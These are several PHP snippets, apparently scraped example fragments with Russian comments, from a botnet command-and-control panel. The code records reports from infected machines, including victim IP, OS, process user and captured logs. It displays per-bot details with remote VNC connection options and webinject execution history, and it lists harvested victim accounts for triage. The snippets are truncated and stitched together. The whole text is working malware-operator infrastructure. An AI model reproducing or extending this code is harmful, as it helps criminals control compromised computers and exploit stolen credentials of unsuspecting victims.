Example #1
0
             //Думаю такой порядок повышает производительность.
             if (!mysqlQueryEx($table, $query) && (!@mysql_query("CREATE TABLE IF NOT EXISTS `{$table}` LIKE `botnet_reports`") || !mysqlQueryEx($table, $query))) {
                 die;
             }
         }
         //Запись в файл.
         if ($config['reports_to_fs'] === 1) {
             if (isHackNameForPath($botId) || isHackNameForPath($botnet)) {
                 die;
             }
             $file_path = $config['reports_path'] . '/other/' . urlencode($botnet) . '/' . urlencode($botId);
             if (!createDir($file_path) || !($h = fopen($file_path . '/reports.txt', 'ab'))) {
                 die;
             }
             flock($h, LOCK_EX);
             fwrite($h, str_repeat("=", 80) . "\r\n" . "bot_id={$botId}\r\n" . "botnet={$botnet}\r\n" . "bot_version=" . intToVersion($botVersion) . "\r\n" . "ipv4={$realIpv4}\r\n" . "country={$country}\r\n" . "type={$type}\r\n" . "rtime=" . gmdate('H:i:s d.m.Y', $curTime) . "\r\n" . "time_system=" . (empty($list[SBCID_TIME_SYSTEM]) ? 0 : gmdate('H:i:s d.m.Y', toInt($list[SBCID_TIME_SYSTEM]))) . "\r\n" . "time_tick=" . (empty($list[SBCID_TIME_TICK]) ? 0 : tickCountToText(toUint($list[SBCID_TIME_TICK]) / 1000)) . "\r\n" . "time_localbias=" . (empty($list[SBCID_TIME_LOCALBIAS]) ? 0 : timeBiasToText(toInt($list[SBCID_TIME_LOCALBIAS]))) . "\r\n" . "os_version=" . (empty($list[SBCID_OS_INFO]) ? '' : osDataToString($list[SBCID_OS_INFO])) . "\r\n" . "language_id=" . (empty($list[SBCID_LANGUAGE_ID]) ? 0 : toUshort($list[SBCID_LANGUAGE_ID])) . "\r\n" . "process_name=" . (empty($list[SBCID_PROCESS_NAME]) ? '' : $list[SBCID_PROCESS_NAME]) . "\r\n" . "process_user="******"\r\n" . "path_source=" . (empty($list[SBCID_PATH_SOURCE]) ? '' : $list[SBCID_PATH_SOURCE]) . "\r\n" . "context=\r\n" . $list[SBCID_BOTLOG] . "\r\n\r\n\r\n");
             flock($h, LOCK_UN);
             fclose($h);
         }
         if ($config['reports_jn'] === 1) {
             imNotify($type, $list, $botId);
         }
     }
 } else {
     if (!empty($list[SBCID_NET_LATENCY])) {
         //Стандартный запрос.
         $query = "`bot_id`='{$botIdQ}', `botnet`='{$botnetQ}', `bot_version`={$botVersion}, `country`='{$countryQ}', `rtime_last`={$curTime}, " . "`net_latency`=" . (empty($list[SBCID_NET_LATENCY]) ? 0 : toUint($list[SBCID_NET_LATENCY])) . ", " . "`tcpport_s1`=" . (empty($list[SBCID_TCPPORT_S1]) ? 0 : toUshort($list[SBCID_TCPPORT_S1])) . ", " . "`time_localbias`=" . (empty($list[SBCID_TIME_LOCALBIAS]) ? 0 : toInt($list[SBCID_TIME_LOCALBIAS])) . ", " . "`os_version`='" . (empty($list[SBCID_OS_INFO]) ? '' : addslashes($list[SBCID_OS_INFO])) . "', " . "`language_id`=" . (empty($list[SBCID_LANGUAGE_ID]) ? 0 : toUshort($list[SBCID_LANGUAGE_ID])) . ", " . "`ipv4_list`='" . (empty($list[SBCID_IPV4_ADDRESSES]) ? '' : addslashes($list[SBCID_IPV4_ADDRESSES])) . "', " . "`ipv6_list`='" . (empty($list[SBCID_IPV6_ADDRESSES]) ? '' : addslashes($list[SBCID_IPV6_ADDRESSES])) . "', " . "`ipv4`='" . addslashes(pack('N', ip2long($realIpv4))) . "'";
         if (!mysqlQueryEx('botnet_list', "INSERT INTO `botnet_list` SET `comment`='', `rtime_first`={$curTime}, `rtime_online`={$curTime}, {$query} " . "ON DUPLICATE KEY UPDATE `rtime_online`=IF(`rtime_last` <= " . ($curTime - $config['botnet_timeout']) . ", {$curTime}, `rtime_online`), {$query}")) {
             die;
         }
         unset($query);
Example #2
0
});
</script>
HTML;
                $data .= str_replace('{WIDTH}', '100%', THEME_LIST_BEGIN) . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_BOTID), THEME_LIST_ITEM_LTEXT_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $botDisplay), THEME_LIST_ITEM_LTEXT_U1) . THEME_LIST_ROW_END;
                //Базовая информация.
                $isExists = isset($res[$bot]);
                if (!$isExists) {
                    $data .= THEME_LIST_ROW_BEGIN . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, LNG_BA_FULLINFO_EMPTY), THEME_LIST_ITEM_EMPTY_1) . THEME_LIST_ROW_END;
                } else {
                    $l = $res[$bot];
                    $eCount++;
                    $ipv4 = binaryIpToString($l['ipv4']);
                    if ($l['nat_status'] == 0) {
                        $ipv4 .= '*';
                    }
                    $data .= THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_BOTNET), THEME_LIST_ITEM_LTEXT_U2) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($l['botnet'])), THEME_LIST_ITEM_LTEXT_U2) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_FLAGS), THEME_LIST_ITEM_LTEXT_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($l['flags'])), THEME_LIST_ITEM_LTEXT_U1) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_VERSION), THEME_LIST_ITEM_LTEXT_U2) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', intToVersion($l['bot_version'])), THEME_LIST_ITEM_LTEXT_U2) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_OS), THEME_LIST_ITEM_LTEXT_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', osDataToString($l['os_version'])), THEME_LIST_ITEM_LTEXT_U1) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_OSLANG), THEME_LIST_ITEM_LTEXT_U2) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($l['language_id'])), THEME_LIST_ITEM_LTEXT_U2) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_TIMEBIAS), THEME_LIST_ITEM_LTEXT_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', timeBiasToText($l['time_localbias'])), THEME_LIST_ITEM_LTEXT_U1) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_COUNTRY), THEME_LIST_ITEM_LTEXT_U2) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($l['country'])), THEME_LIST_ITEM_LTEXT_U2) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_IPV4), THEME_LIST_ITEM_LTEXT_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $ipv4), THEME_LIST_ITEM_LTEXT_U1) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_LATENCY), THEME_LIST_ITEM_LTEXT_U2) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', numberFormatAsFloat($l['net_latency'] / 1000, 3)), THEME_LIST_ITEM_LTEXT_U2) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_TCPPORT_S1), THEME_LIST_ITEM_LTEXT_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($l['tcpport_s1'])), THEME_LIST_ITEM_LTEXT_U1) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_TFIRST), THEME_LIST_ITEM_LTEXT_U2) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx(gmdate(LNG_FORMAT_DT, $l['rtime_first']))), THEME_LIST_ITEM_LTEXT_U2) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_TLAST), THEME_LIST_ITEM_LTEXT_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx(gmdate(LNG_FORMAT_DT, $l['rtime_last']))), THEME_LIST_ITEM_LTEXT_U1) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_TONLINE), THEME_LIST_ITEM_LTEXT_U2) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $l['is_online'] == 1 ? tickCountToText(CURRENT_TIME - $l['rtime_online']) : LNG_FORMAT_NOTIME), THEME_LIST_ITEM_LTEXT_U2) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_NEW), THEME_LIST_ITEM_LTEXT_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $l['flag_new'] == 1 ? LNG_YES : LNG_NO), THEME_LIST_ITEM_LTEXT_U1) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_USED), THEME_LIST_ITEM_LTEXT_U2) . ($bedit ? str_replace(array('{NAME}', '{WIDTH}'), array('used[]', 'auto'), THEME_LIST_ITEM_LISTBOX_U2_BEGIN) . str_replace(array('{VALUE}', '{TEXT}'), array(0, LNG_NO), $l['flag_used'] != 1 ? THEME_LIST_ITEM_LISTBOX_ITEM_CUR : THEME_LIST_ITEM_LISTBOX_ITEM) . str_replace(array('{VALUE}', '{TEXT}'), array(1, LNG_YES), $l['flag_used'] == 1 ? THEME_LIST_ITEM_LISTBOX_ITEM_CUR : THEME_LIST_ITEM_LISTBOX_ITEM) . THEME_LIST_ITEM_LISTBOX_U2_END : str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $l['flag_used'] == 1 ? LNG_YES : LNG_NO), THEME_LIST_ITEM_LTEXT_U2)) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_COMMENT), THEME_LIST_ITEM_LTEXT_U1) . ($bedit ? str_replace(array('{NAME}', '{VALUE}', '{MAX}', '{WIDTH}'), array('comment[]', htmlEntitiesEx($l['comment']), 250, '99%'), THEME_LIST_ITEM_INPUT_TEXT_U1) : str_replace(array('{WIDTH}', '{TEXT}'), array('auto', empty($l['comment']) ? '-' : htmlEntitiesEx($l['comment'])), THEME_LIST_ITEM_LTEXT_U1)) . THEME_LIST_ROW_END;
                    $data .= '<tr><td colspan=2>' . vncplugin_draw_connect_options($bot) . '</td></tr>';
                    /* plugin: webinjects */
                    if (file_exists('system/botnet_webinjects.php')) {
                        require_once 'system/lib/dbpdo.php';
                        require_once 'system/lib/guiutil.php';
                        $db = dbPDO::singleton();
                        $q_execs = $db->query('SELECT
                        `b`.`name` AS `b_name`,
                        `h`.`etime`,
                        `h`.`exec_error`,
                        `h`.`debug_error`
                   FROM `botnet_webinjects_history` `h`
                        LEFT JOIN `botnet_webinjects_bundle` `b` USING(`bid`)
                   WHERE `h`.`botId` = :botId
                   ;', array(':botId' => $bot));
 } else {
     while ($m = mysql_fetch_row($r)) {
         if ($nc !== 1) {
             $hdr = '';
             if (strcmp($lastdata[0], $m[0]) !== 0) {
                 $lastdata = array_fill(0, 16, 0);
                 $hdr .= str_pad(LNG_REPORTS_VIEW_BOTID, HEADER_PAD) . ($lastdata[0] = $m[0]) . "\r\n";
             }
             if (strcmp($lastdata[1], $m[1]) !== 0) {
                 $hdr .= str_pad(LNG_REPORTS_VIEW_BOTNET, HEADER_PAD) . ($lastdata[1] = $m[1]) . "\r\n";
             }
             if ($lastdata[2] !== $m[2]) {
                 $hdr .= str_pad(LNG_REPORTS_VIEW_VERSION, HEADER_PAD) . intToVersion($lastdata[2] = $m[2]) . "\r\n";
             }
             if (strcmp($lastdata[3], $m[3]) !== 0) {
                 $hdr .= str_pad(LNG_REPORTS_VIEW_OS, HEADER_PAD) . osDataToString($lastdata[3] = $m[3]) . "\r\n";
             }
             if ($lastdata[4] !== $m[4]) {
                 $hdr .= str_pad(LNG_REPORTS_VIEW_OSLANG, HEADER_PAD) . ($lastdata[4] = $m[4]) . "\r\n";
             }
             $hdr .= str_pad(LNG_REPORTS_VIEW_TIME, HEADER_PAD) . gmdate(LNG_FORMAT_DT, $m[5] + $m[6]) . "\r\n";
             if ($lastdata[6] !== $m[6]) {
                 $hdr .= str_pad(LNG_REPORTS_VIEW_TIMEBIAS, HEADER_PAD) . timeBiasToText($lastdata[6] = $m[6]) . "\r\n";
             }
             $hdr .= str_pad(LNG_REPORTS_VIEW_TICK, HEADER_PAD) . tickCountToText($m[7] / 1000) . "\r\n";
             $hdr .= str_pad(LNG_REPORTS_VIEW_RTIME, HEADER_PAD) . gmdate(LNG_FORMAT_DT, $m[8]) . "\r\n";
             if (strcmp($lastdata[9], $m[9]) !== 0) {
                 $hdr .= str_pad(LNG_REPORTS_VIEW_COUNTRY, HEADER_PAD) . ($lastdata[9] = $m[9]) . "\r\n";
             }
             if (strcmp($lastdata[10], $m[10]) !== 0) {
                 $hdr .= str_pad(LNG_REPORTS_VIEW_IPV4, HEADER_PAD) . ($lastdata[10] = $m[10]) . "\r\n";
Example #4
0
    die;
}
define('OSLIST_WIDTH', 500);
//Ширина колонки
define('STAT_WIDTH', '1%');
//Ширина колонки статистики.
//Текущий ботнет.
define('CURRENT_BOTNET', !empty($_GET['botnet']) ? $_GET['botnet'] : '');
///////////////////////////////////////////////////////////////////////////////////////////////////
// Вывод общей информации.
///////////////////////////////////////////////////////////////////////////////////////////////////
//Получем список OC.
$osList = '';
$query = CURRENT_BOTNET == '' ? '' : 'WHERE `botnet`=\'' . addslashes(CURRENT_BOTNET) . '\' ';
if (($r = mysqlQueryEx('botnet_list', "SELECT `os_version`, COUNT(`os_version`) FROM `botnet_list` {$query}GROUP BY `os_version`")) && mysql_affected_rows() > 0) {
    $list = array();
    while ($mt = @mysql_fetch_row($r)) {
        @($list[osDataToString($mt[0])] += $mt[1]);
    }
    arsort($list);
    $i = 0;
    foreach ($list as $name => $count) {
        $osList .= THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($name)), $i % 2 ? THEME_LIST_ITEM_LTEXT_U2 : THEME_LIST_ITEM_LTEXT_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array(STAT_WIDTH, numberFormatAsInt($count)), $i % 2 ? THEME_LIST_ITEM_RTEXT_U2 : THEME_LIST_ITEM_RTEXT_U1) . THEME_LIST_ROW_END;
        $i++;
    }
} else {
    $osList .= THEME_LIST_ROW_BEGIN . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, $r ? LNG_STATS_OSLIST_EMPTY : mysqlErrorEx()), THEME_LIST_ITEM_EMPTY_1) . THEME_LIST_ROW_END;
}
ThemeBegin(LNG_STATS, 0, 0, 0);
echo str_replace('{WIDTH}', OSLIST_WIDTH . 'px', THEME_DIALOG_BEGIN) . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, LNG_STATS_TOTAL_INFO . THEME_STRING_SPACE . botnetsToListBox(CURRENT_BOTNET, '')), THEME_DIALOG_TITLE) . THEME_DIALOG_ROW_BEGIN . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ITEM_CHILD_BEGIN) . str_replace('{WIDTH}', '100%', THEME_LIST_BEGIN) . $osList . THEME_LIST_END . THEME_DIALOG_ITEM_CHILD_END . THEME_DIALOG_ROW_END . THEME_DIALOG_END;
ThemeEnd();
echo '<table id="bots-list" class="lined">';
echo '<THEAD><tr>', '<th>', LNG_BOTS_LIST_TH_BOT, '</th>', '<th>', $CLICKSORT->field_render('bot_os', LNG_BOTS_LIST_TH_BOT_INFO), '</th>', '<th>', $CLICKSORT->field_render('ctime', LNG_BOTS_LIST_TH_BOT_STATUS), '</th>', '<th>', LNG_BOTS_LIST_TH_CONN_STATUS, '</th>', '<th>', LNG_BOTS_LIST_TH_CONNECTION_INFO, '</th>', '</tr></THEAD>';
echo '<TBODY>';
while ($R && !is_bool($r = mysql_fetch_assoc($R))) {
    $classes = array();
    $bot_online = (bool) $r['bot_online'];
    $conn_online_time = time() - $r['ctime'];
    $conn_is_online = $conn_online_time < VNC_RECONNECT_THRESHOLD * 2;
    $classes[] = $bot_online ? 'bot_online' : 'bot_offline';
    $classes[] = $conn_is_online ? 'conn_online' : 'conn_offline';
    if ($r['do_connect'] < 0) {
        $classes[] = 'autoconnect';
    }
    echo '<tr', $classes ? ' class="' . implode(' ', $classes) . '"' : '', ' data-href="&bot=', urlencode($r['bot_id']), '">';
    echo '<td>', botPopupMenu($r['bot_id'], 'botmenu', $r['bot_comment']), '</td>';
    echo '<td>', 'OS: ', osDataToString($r['bot_os']), '</td>';
    echo '<td>', $bot_online ? LNG_BOTS_LIST_BOT_STATUS_ONLINE . ': ' . tickCountToText($r['bot_online']) : LNG_BOTS_LIST_BOT_STATUS_OFFLINE, ' , ', LNG_BOTS_LIST_BOT_STATUS_LAST_LIFESIGN, ' ', date_short($r['bot_rtime_last']), '</td>';
    echo '<td>';
    # connection status: online, online (persistent), offline + time
    if ($conn_is_online) {
        # connected
        echo LNG_BOTS_LIST_STATUS_CONNECTED, ': ', tickCountToText($conn_online_time);
    } else {
        # idle, waiting, disconnected
        if ($r['do_connect'] == 0) {
            echo $r['ctime'] == 0 ? LNG_BOTS_LIST_STATUS_IDLE : LNG_BOTS_LIST_STATUS_DISCONNECTED;
        } else {
            echo LNG_BOTS_LIST_STATUS_WAITING;
        }
        # last time was online
        echo ' ', LNG_BOTS_LIST_STATUS_OFFLINE_SINCE, ' ', date_short($r['bot_rtime_last']);
            if ($r['acc_favorite'] < 0) {
                $classes[] = 'junk';
            }
            if ($r['acc_favorite'] > 0) {
                $classes[] = 'fav';
            }
            # unused
            if ($r['acc_favorite'] < 0 && !$junk_started) {
                echo '<tr id="junk-start">', '<td colspan="4"><a href="#">', LNG_ACCPARSE_LSACCS_SHOWJUNK, '</a></td>', '</tr>';
                $junk_started = true;
            }
            if ($junk_started) {
                $classes[] = 'junk-hide';
            }
            $classes[] = $r['bot_online'] ? 'bot_online' : 'bot_offline';
            echo '<tr', $classes ? ' class="' . implode(' ', $classes) . '"' : '', ' data-bot="', urlencode($r['bot_id']), '" data-href="&account=', $r['acc_id'], '">';
            echo '<th>', link2bot_accs($r['bot_id']), '</th>';
            echo '<td>', osDataToString($r['bot_os']), ' / ', $r['bot_info'], '</td>';
            echo '<td>', link2rule_accs($r['rule_id'], $r['rule_alias']), '</td>';
            echo '<td>', nl2br($r['account']), '</td>';
            echo '<td>', date('d.m.Y H:i:s', $r['acc_mtime']), '</td>';
            echo '<td>', '<div class="acc_notes" data-href="&account=', $r['acc_id'], '" contenteditable="true">', $r['acc_notes'], '</div>', '</td>';
            echo '</tr>';
        }
        echo '<TBODY>';
        echo '</TBODY>';
        echo '</table>';
        echo '<div align=center>', LNG_HINT_CONTEXT_MENU, '</div>';
        break;
}
echo '</td></tr>', THEME_DIALOG_END, ThemeEnd();